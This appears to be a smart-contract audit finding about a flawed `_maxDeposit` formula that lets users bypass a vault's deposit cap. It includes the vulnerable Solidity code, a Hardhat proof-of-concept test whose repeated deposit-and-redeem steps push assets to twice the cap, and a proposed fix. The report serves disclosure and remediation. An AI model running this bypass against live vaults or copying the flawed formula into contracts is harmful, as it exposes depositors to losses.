Vault `_maxDeposit` incorrect calculation allows to bypass vault deposit cap
Vault has a deposit cap risk setting, which is the max amount of funds users can deposit into the vault. The problem is that `_maxDeposit` function, which calculates max amount of assets allowed to be deposited is incorrect and always includes vault claimable assets even when the vault is at the cap. This allows malicious (or even regular) user to deposit unlimited amount bypassing the vault cap, if the vault has any assets redeemed but not claimed yet. This breaks the core protocol function which limits users risk, for example when the vault is still in the testing phase and owner wants to limit potential losses in case of any problems.\\n`Vault._update` limits the user deposit to `_maxDeposit()` amount:\\n```\\n    if (depositAssets.gt(_maxDeposit(context)))\\n        revert VaultDepositLimitExceededError();\\n// rest of code\\nfunction _maxDeposit(Context memory context) private view returns (UFixed6) {\\n    if (context.latestCheckpoint.unhealthy()) return UFixed6Lib.ZERO;\\n    UFixed6 collateral = UFixed6Lib.from(totalAssets().max(Fixed6Lib.ZERO)).add(context.global.deposit);\\n    return context.global.assets.add(context.parameter.cap.sub(collateral.min(context.parameter.cap)));\\n}\\n```\\n\\nWhen calculating max deposit, the vault's collateral consists of vault assets as well as assets which are redeemed but not yet claimed. However, the formula used to calculate max deposit is incorrect, it is:\\n`maxDeposit = claimableAssets + (cap - min(collateral, cap))`\\nAs can be seen from the formula, regardless of cap and current collateral, maxDeposit will always be at least claimableAssets, even when the vault is already at the cap or above cap, which is apparently wrong. The correct formula should subtract claimableAssets from collateral (or 0 if claimableAssets is higher than collateral) instead of adding it to the result:\\n`maxDeposit = cap - min(collateral - min(collateral, claimableAssets), cap)`\\nCurrent incorrect formula allows to deposit up to claimable assets amount even when the vault is at or above cap. This can either be used by malicious user (user can deposit up to cap, redeem, deposit amount = up to cap + claimable, redeem, ..., repeat until target deposit amount is reached) or can happen itself when there are claimable assets available and vault is at the cap (which can easily happen by itself if some user forgets to claim or it takes long time to claim).\\nBypass of vault cap is demonstrated in the test, add this to Vault.test.ts:\\n```\\nit('bypass vault deposit cap', async () => {\\n    console.log("start");\\n\\n    await vault.connect(owner).updateParameter({\\n    cap: parse6decimal('100'),\\n    });\\n\\n    await updateOracle()\\n\\n    var deposit = parse6decimal('100')\\n    console.log("Deposit 100")\\n    await vault.connect(user).update(user.address, deposit, 0, 0)\\n\\n    await updateOracle()\\n    await vault.settle(user.address);\\n\\n    var assets = await vault.totalAssets();\\n    console.log("Vault assets: " + assets);\\n\\n    // additional deposit reverts due to cap\\n    var deposit = parse6decimal('10')\\n    console.log("Deposit 10 revert")\\n    await expect(vault.connect(user).update(user.address, deposit, 0, 0)).to.be.reverted;\\n\\n    // now redeem 50\\n    var redeem = parse6decimal('50')\\n    console.log("Redeem 50")\\n    await vault.connect(user).update(user.address, 0, redeem, 0);\\n\\n    await updateOracle()\\n    await vault.settle(user.address);\\n\\n    var assets = await vault.totalAssets();\\n    console.log("Vault assets: " + assets);\\n\\n    // deposit 100 (50+100=150) doesn't revert, because assets = 50\\n    var deposit = parse6decimal('100')\\n    console.log("Deposit 100")\\n    await vault.connect(user).update(user.address, deposit, 0, 0);\\n\\n    await updateOracle()\\n    await vault.settle(user.address);\\n\\n    var assets = await vault.totalAssets();\\n    console.log("Vault assets: " + assets);\\n\\n    var deposit = parse6decimal('50')\\n    console.log("Deposit 50")\\n    await vault.connect(user).update(user.address, deposit, 0, 0);\\n\\n    await updateOracle()\\n    await vault.settle(user.address);\\n\\n    var assets = await vault.totalAssets();\\n    console.log("Vault assets: " + assets);\\n})\\n```\\n\\nConsole log from execution of the code above:\\n```\\nstart\\nDeposit 100\\nVault assets: 100000000\\nDeposit 10 revert\\nRedeem 50\\nVault assets: 50000000\\nDeposit 100\\nVault assets: 150000000\\nDeposit 50\\nVault assets: 200000000\\n```\\n\\nThe vault cap is set to 100 and is then demonstrated that it is bypassed and vault assets are set at 200 (and can be continued indefinitely)
The correct formula to `_maxDeposit` should be:\\n`maxDeposit = cap - min(collateral - min(collateral, claimableAssets), cap)`\\nSo the code can be:\\n```\\nfunction _maxDeposit(Context memory context) private view returns (UFixed6) {\\n    if (context.latestCheckpoint.unhealthy()) return UFixed6Lib.ZERO;\\n    UFixed6 collateral = UFixed6Lib.from(totalAssets().max(Fixed6Lib.ZERO)).add(context.global.deposit);\\n    return context.parameter.cap.sub(collateral.sub(context.global.assets.min(collateral)).min(context.parameter.cap));\\n}\\n```\\n
Malicious and regular users can bypass vault deposit cap, either intentionally or just in the normal operation when some users redeem and claimable assets are available in the vault. This breaks core contract security function of limiting the deposit amount and can potentially lead to big user funds loss, for example at the initial stages when the owner still tests the oracle provider/market/etc and wants to limit vault deposit if anything goes wrong, but gets unlimited deposits instead.
```\\n    if (depositAssets.gt(_maxDeposit(context)))\\n        revert VaultDepositLimitExceededError();\\n// rest of code\\nfunction _maxDeposit(Context memory context) private view returns (UFixed6) {\\n    if (context.latestCheckpoint.unhealthy()) return UFixed6Lib.ZERO;\\n    UFixed6 collateral = UFixed6Lib.from(totalAssets().max(Fixed6Lib.ZERO)).add(context.global.deposit);\\n    return context.global.assets.add(context.parameter.cap.sub(collateral.min(context.parameter.cap)));\\n}\\n```\\n